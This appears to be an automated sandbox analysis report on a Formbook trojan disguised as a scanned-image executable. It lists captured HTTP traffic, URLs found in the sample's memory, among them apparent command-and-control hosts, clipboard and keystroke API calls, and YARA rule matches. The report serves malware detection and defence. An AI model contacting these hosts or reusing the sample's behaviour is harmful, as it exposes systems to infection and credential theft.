70 78 3b 0d 0a 7d 0d 0a 61 3a 68 6f 76 65 72 2c 20 61 3a 61 63 74 69 76 65 7b 0d 0a 63 6f 6c 6f 72 3a 23 30 30 30 3b 0d 0a 74 65 78 74 2d 64 65 63 6f 72 61 74 69 6f 6e 3a 75 6e 64 65 72 6c 69 6e 65 3b 0d 0a 7d 0d 0a 23 74 72 65 73 63 7b 0d 0a 66 6f 6e 74 3a 20 31 32 70 78 20 76 65 72 64 61 6e 61 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 0d 0a 63 6f 6c 6f 72 3a 20 23 33 33 33 3b 0d 0a 7d 0d 0a 23 66 6f 6f 74 7b 0d 0a 66 6f 6e 74 3a 20 31 30 70 78 20 76 65 72 64 61 6e 61 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 0d 0a 63 6f 6c 6f 72 3a 23 36 30 36 30 36 30 3b 0d 0a 74 65 78 74 2d 61 6c 69 67 6e 3a 63 65 6e 74 65 72 3b 0d 0a 70 6f 73 69 74 69 6f 6e 3a 61 62 73 6f 6c 75 74 65 3b 0d 0a 62 6f 74 74 6f 6d 3a 35 70 78 3b 0d 0a 77 69 64 74 68 3a 39 39 25 3b 0d 0a 7d 0d 0a 0d 0a 2e 66 3a 6c 69 6e 6b 2c 20 2e 66 3
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: openrestyDate: Sun, 18 Aug 2024 16:26:09 GMTContent-Type: text/htmlTransfer-Encoding: chunkedConnection: closeContent-Encoding: gzipData Raw: 61 63 0d 0a 1f 8b 08 00 00 00 00 00 04 03 ed 90 b1 0a 02 31 10 44 7b c1 7f 58 3f 20 44 e1 ca 90 46 14 2c b4 f1 0b 72 ee 7a 09 e4 b2 c7 5e 2c ee ef 4d f4 0e c4 da d2 72 67 de 0c c3 1a 9f fb 68 d7 2b e3 c9 a1 35 39 e4 48 b6 d9 36 70 e1 0c 47 7e 24 34 fa 2d 1a fd 42 0a da 32 4e 35 72 a3 94 49 ac f1 bb ef 44 51 8c 9e ed da 5d a0 f9 e2 81 92 d0 98 a7 4f 5f 2f 8d 7a 59 b3 51 0a 1c 0c 0e 31 a4 0e 32 03 86 d1 b5 91 e0 7c 3d 1d c0 25 84 bd 17 ee 09 ee 12 28 61 9c 80 44 58 4a a2 23 50 aa ae fb 57 fc f2 17 4f 11 d4 0d c8 28 02 00 00 0d 0a 30 0d 0a 0d 0a Data Ascii: ac1D{X? DF,rz^,Mrgh+59H6pG~$4-B2N5rIDQ]O_/zYQ12\|=%(aDXJ#PWO(0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: openrestyDate: Sun, 18 Aug 2024 16:26:11 GMTContent-Type: text/htmlTransfer-Encoding: chunkedConnection: closeContent-Encoding: gzipData Raw: 61 63 0d 0a 1f 8b 08 00 00 00 00 00 04 03 ed 90 b1 0a 02 31 10 44 7b c1 7f 58 3f 20 44 e1 ca 90 46 14 2c b4 f1 0b 72 ee 7a 09 e4 b2 c7 5e 2c ee ef 4d f4 0e c4 da d2 72 67 de 0c c3 1a 9f fb 68 d7 2b e3 c9 a1 35 39 e4 48 b6 d9 36 70 e1 0c 47 7e 24 34 fa 2d 1a fd 42 0a da 32 4e 35 72 a3 94 49 ac f1 bb ef 44 51 8c 9e ed da 5d a0 f9 e2 81 92 d0 98 a7 4f 5f 2f 8d 7a 59 b3 51 0a 1c 0c 0e 31 a4 0e 32 03 86 d1 b5 91 e0 7c 3d 1d c0 25 84 bd 17 ee 09 ee 12 28 61 9c 80 44 58 4a a2 23 50 aa ae fb 57 fc f2 17 4f 11 d4 0d c8 28 02 00 00 0d 0a 30 0d 0a 0d 0a Data Ascii: ac1D{X? DF,rz^,Mrgh+59H6pG~$4-B2N5rIDQ]O_/zYQ12\|=%(aDXJ#PWO(0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: openrestyDate: Sun, 18 Aug 2024 16:26:14 GMTContent-Type: text/htmlTransfer-Encoding: chunkedConnection: closeContent-Encoding: gzipData Raw: 61 63 0d 0a 1f 8b 08 00 00 00 00 00 04 03 ed 90 b1 0a 02 31 10 44 7b c1 7f 58 3f 20 44 e1 ca 90 46 14 2c b4 f1 0b 72 ee 7a 09 e4 b2 c7 5e 2c ee ef 4d f4 0e c4 da d2 72 67 de 0c c3 1a 9f fb 68 d7 2b e3 c9 a1 35 39 e4 48 b6 d9 36 70 e1 0c 47 7e 24 34 fa 2d 1a fd 42 0a da 32 4e 35 72 a3 94 49 ac f1 bb ef 44 51 8c 9e ed da 5d a0 f9 e2 81 92 d0 98 a7 4f 5f 2f 8d 7a 59 b3 51 0a 1c 0c 0e 31 a4 0e 32 03 86 d1 b5 91 e0 7c 3d 1d c0 25 84 bd 17 ee 09 ee 12 28 61 9c 80 44 58 4a a2 23 50 aa ae fb 57 fc f2 17 4f 11 d4 0d c8 28 02 00 00 0d 0a 30 0d 0a 0d 0a Data Ascii: ac1D{X? DF,rz^,Mrgh+59H6pG~$4-B2N5rIDQ]O_/zYQ12\|=%(aDXJ#PWO(0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: openrestyDate: Sun, 18 Aug 2024 16:26:16 GMTContent-Type: text/htmlContent-Length: 552Connection: closeData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6f 70 65 6e 72 65 73 74 79 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>openresty</center></body></html><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page -->
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Sun, 18 Aug 2024 16:26:22 GMTServer: ApacheContent-Length: 389Connection: closeContent-Type: text/htmlData Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 77 69 6e 64 6f 77 73 2d 31 32 35 32 22 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0a 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0a 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE html PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><meta http-equiv="Content-Type" content="text/html; charset=windows-1252"><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><p>Additionally, a 404 Not Founderror was encountered while trying to use an ErrorDocument to handle the request.</p></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Sun, 18 Aug 2024 16:26:25 GMTServer: ApacheContent-Length: 389Connection: closeContent-Type: text/htmlData Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 77 69 6e 64 6f 77 73 2d 31 32 35 32 22 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0a 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0a 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE html PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><meta http-equiv="Content-Type" content="text/html; charset=windows-1252"><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><p>Additionally, a 404 Not Founderror was encountered while trying to use an ErrorDocument to handle the request.</p></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Sun, 18 Aug 2024 16:26:27 GMTServer: ApacheContent-Length: 389Connection: closeContent-Type: text/htmlData Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 77 69 6e 64 6f 77 73 2d 31 32 35 32 22 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0a 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0a 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE html PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><meta http-equiv="Content-Type" content="text/html; charset=windows-1252"><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><p>Additionally, a 404 Not Founderror was encountered while trying to use an ErrorDocument to handle the request.</p></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Sun, 18 Aug 2024 16:26:30 GMTServer: ApacheContent-Length: 389Connection: closeContent-Type: text/html; charset=utf-8Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 77 69 6e 64 6f 77 73 2d 31 32 35 32 22 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0a 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0a 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE html PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><meta http-equiv="Content-Type" content="text/html; charset=windows-1252"><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><p>Additionally, a 404 Not Founderror was encountered while trying to use an ErrorDocument to handle the request.</p></body></html>

Source: XraVxjqYYo.exe, 0000000A.00000002.3810037675.00000000036E8000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: http://lecoinsa.net/7ffx/?dZo=bNQ0/ONSUiz8Cvet9WekHsY6glAUeAndZ9NU1FoLXha3tv70s5bqu4Q6Bv5eGpaoTDYvbr
Source: XraVxjqYYo.exe, 0000000A.00000002.3811962670.0000000005491000.00000040.80000000.00040000.00000000.sdmp	String found in binary or memory: http://www.lfghtko.lol
Source: XraVxjqYYo.exe, 0000000A.00000002.3811962670.0000000005491000.00000040.80000000.00040000.00000000.sdmp	String found in binary or memory: http://www.lfghtko.lol/yxos/
Source: schtasks.exe, 00000009.00000003.1808662563.000000000765E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://ac.ecosia.org/autocomplete?q=
Source: schtasks.exe, 00000009.00000003.1808662563.000000000765E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
Source: schtasks.exe, 00000009.00000003.1808662563.000000000765E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search
Source: schtasks.exe, 00000009.00000003.1808662563.000000000765E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
Source: XraVxjqYYo.exe, 0000000A.00000002.3810037675.0000000003A0C000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: https://dhosting.pl
Source: schtasks.exe, 00000009.00000002.3811492832.0000000003EDC000.00000004.10000000.00040000.00000000.sdmp, XraVxjqYYo.exe, 0000000A.00000002.3810037675.0000000003A0C000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: https://dhosting.pl/bledyhttp/domeny.html
Source: schtasks.exe, 00000009.00000002.3811492832.0000000003EDC000.00000004.10000000.00040000.00000000.sdmp, XraVxjqYYo.exe, 0000000A.00000002.3810037675.0000000003A0C000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: https://dhosting.pl/bledyhttp/hosting.html
Source: schtasks.exe, 00000009.00000002.3811492832.0000000003EDC000.00000004.10000000.00040000.00000000.sdmp, XraVxjqYYo.exe, 0000000A.00000002.3810037675.0000000003A0C000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: https://dhosting.pl/img/logo.svg
Source: XraVxjqYYo.exe, 0000000A.00000002.3810037675.0000000003A0C000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: https://dhosting.pl/kontakt
Source: schtasks.exe, 00000009.00000002.3813151529.0000000005C10000.00000004.00000800.00020000.00000000.sdmp, schtasks.exe, 00000009.00000002.3811492832.00000000046B6000.00000004.10000000.00040000.00000000.sdmp, XraVxjqYYo.exe, 0000000A.00000002.3810037675.00000000041E6000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: https://download.quark.cn/download/quarkpc?platform=android&ch=pcquark
Source: schtasks.exe, 00000009.00000003.1808662563.000000000765E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: schtasks.exe, 00000009.00000003.1808662563.000000000765E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/chrome_newtab
Source: schtasks.exe, 00000009.00000003.1808662563.000000000765E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
Source: schtasks.exe, 00000009.00000002.3811492832.00000000046B6000.00000004.10000000.00040000.00000000.sdmp, XraVxjqYYo.exe, 0000000A.00000002.3810037675.00000000041E6000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: https://g.alicdn.com/woodpeckerx/jssdk/plugins/globalerror.js
Source: schtasks.exe, 00000009.00000002.3813151529.0000000005C10000.00000004.00000800.00020000.00000000.sdmp, schtasks.exe, 00000009.00000002.3811492832.00000000046B6000.00000004.10000000.00040000.00000000.sdmp, XraVxjqYYo.exe, 0000000A.00000002.3810037675.00000000041E6000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: https://g.alicdn.com/woodpeckerx/jssdk/plugins/performance.js
Source: schtasks.exe, 00000009.00000002.3811492832.00000000046B6000.00000004.10000000.00040000.00000000.sdmp, XraVxjqYYo.exe, 0000000A.00000002.3810037675.00000000041E6000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: https://g.alicdn.com/woodpeckerx/jssdk/wpkReporter.js
Source: schtasks.exe, 00000009.00000002.3813151529.0000000005C10000.00000004.00000800.00020000.00000000.sdmp, schtasks.exe, 00000009.00000002.3811492832.00000000046B6000.00000004.10000000.00040000.00000000.sdmp, XraVxjqYYo.exe, 0000000A.00000002.3810037675.00000000041E6000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: https://hm.baidu.com/hm.js?
Source: schtasks.exe, 00000009.00000002.3813151529.0000000005C10000.00000004.00000800.00020000.00000000.sdmp, schtasks.exe, 00000009.00000002.3811492832.00000000046B6000.00000004.10000000.00040000.00000000.sdmp, XraVxjqYYo.exe, 0000000A.00000002.3810037675.00000000041E6000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: https://image.uc.cn/s/uae/g/3o/berg/static/archer_index.e96dc6dc6863835f4ad0.js
Source: schtasks.exe, 00000009.00000002.3813151529.0000000005C10000.00000004.00000800.00020000.00000000.sdmp, schtasks.exe, 00000009.00000002.3811492832.00000000046B6000.00000004.10000000.00040000.00000000.sdmp, XraVxjqYYo.exe, 0000000A.00000002.3810037675.00000000041E6000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: https://image.uc.cn/s/uae/g/3o/berg/static/index.c4bc5b38d870fecd8a1f.css
Source: schtasks.exe, 00000009.00000002.3801096520.0000000002901000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/oauth20_authorize.srf?client_id=00000000480728C5&scope=service::ssl.live.com:
Source: schtasks.exe, 00000009.00000002.3801096520.000000000292C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/oauth20_authorize.srfclient_id=00000000480728C5&scope=service::ssl.live.com::
Source: schtasks.exe, 00000009.00000003.1804842612.0000000007632000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/oauth20_authorize.srfhttps://login.live.com/oauth20_desktop.srfhttps://login.
Source: schtasks.exe, 00000009.00000002.3801096520.0000000002901000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/oauth20_desktop.srf?lc=1033
Source: schtasks.exe, 00000009.00000002.3801096520.0000000002901000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/oauth20_desktop.srflc=1033
Source: schtasks.exe, 00000009.00000002.3801096520.0000000002901000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/oauth20_logout.srf?client_id=00000000480728C5&redirect_uri=https://login.live
Source: schtasks.exe, 00000009.00000002.3801096520.000000000292C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/oauth20_logout.srfclient_id=00000000480728C5&redirect_uri=https://login.live.
Source: schtasks.exe, 00000009.00000002.3813151529.0000000005C10000.00000004.00000800.00020000.00000000.sdmp, schtasks.exe, 00000009.00000002.3811492832.00000000046B6000.00000004.10000000.00040000.00000000.sdmp, XraVxjqYYo.exe, 0000000A.00000002.3810037675.00000000041E6000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: https://track.uc.cn/collect
Source: schtasks.exe, 00000009.00000003.1808662563.000000000765E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.ecosia.org/newtab/
Source: schtasks.exe, 00000009.00000003.1808662563.000000000765E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.ico

Source: C:\Users\user\Desktop\Scanned-IMGS_from Bumi Wangsa TMS Sdn Bhd..exe

Code function: 0_2_00A9425A OpenClipboard,IsClipboardFormatAvailable,IsClipboardFormatAvailable,GetClipboardData,CloseClipboard,GlobalLock,CloseClipboard,GlobalUnlock,IsClipboardFormatAvailable,GetClipboardData,GlobalLock,GlobalUnlock,IsClipboardFormatAvailable,GetClipboardData,GlobalLock,DragQueryFileW,DragQueryFileW,DragQueryFileW,GlobalUnlock,CountClipboardFormats,CloseClipboard,

0_2_00A9425A

Source: C:\Users\user\Desktop\Scanned-IMGS_from Bumi Wangsa TMS Sdn Bhd..exe

Code function: 0_2_00A94458 OpenClipboard,EmptyClipboard,GlobalAlloc,GlobalLock,_wcscpy,GlobalUnlock,OpenClipboard,EmptyClipboard,SetClipboardData,CloseClipboard,

0_2_00A94458

Source: C:\Users\user\Desktop\Scanned-IMGS_from Bumi Wangsa TMS Sdn Bhd..exe

0_2_00A9425A

Source: C:\Users\user\Desktop\Scanned-IMGS_from Bumi Wangsa TMS Sdn Bhd..exe

Code function: 0_2_00A80219 GetKeyboardState,GetAsyncKeyState,GetKeyState,GetKeyState,GetAsyncKeyState,GetKeyState,GetAsyncKeyState,GetKeyState,GetAsyncKeyState,GetKeyState,GetAsyncKeyState,GetKeyState,

0_2_00A80219

Source: C:\Users\user\Desktop\Scanned-IMGS_from Bumi Wangsa TMS Sdn Bhd..exe

Code function: 0_2_00AACDAC DefDlgProcW,SendMessageW,GetWindowLongW,SendMessageW,SendMessageW,_wcsncpy,GetKeyState,GetKeyState,GetKeyState,SendMessageW,GetKeyState,SendMessageW,SendMessageW,SendMessageW,ImageList_SetDragCursorImage,ImageList_BeginDrag,SetCapture,ClientToScreen,ImageList_DragEnter,InvalidateRect,ReleaseCapture,GetCursorPos,ScreenToClient,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,GetCursorPos,ScreenToClient,GetParent,SendMessageW,SendMessageW,ClientToScreen,TrackPopupMenuEx,SendMessageW,SendMessageW,ClientToScreen,TrackPopupMenuEx,GetWindowLongW,

0_2_00AACDAC

E-Banking Fraud

Malicious sample detected (through community Yara rule)

Source: Yara match	File source: 2.2.svchost.exe.2120000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.2.svchost.exe.2120000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000002.00000002.1624858968.0000000002120000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000009.00000002.3809994652.0000000002A90000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.1625612818.0000000003E00000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000A.00000002.3811962670.0000000005410000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000008.00000002.3809765058.00000000030F0000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.1625179434.0000000002B90000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000009.00000002.3798026711.00000000026B0000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000009.00000002.3809886003.0000000002A50000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY

System Summary

Source: 2.2.svchost.exe.2120000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
Source: 2.2.svchost.exe.2120000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
Source: 00000002.00000002.1624858968.0000000002120000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
Source: 00000009.00000002.3809994652.0000000002A90000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
Source: 00000002.00000002.1625612818.0000000003E00000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
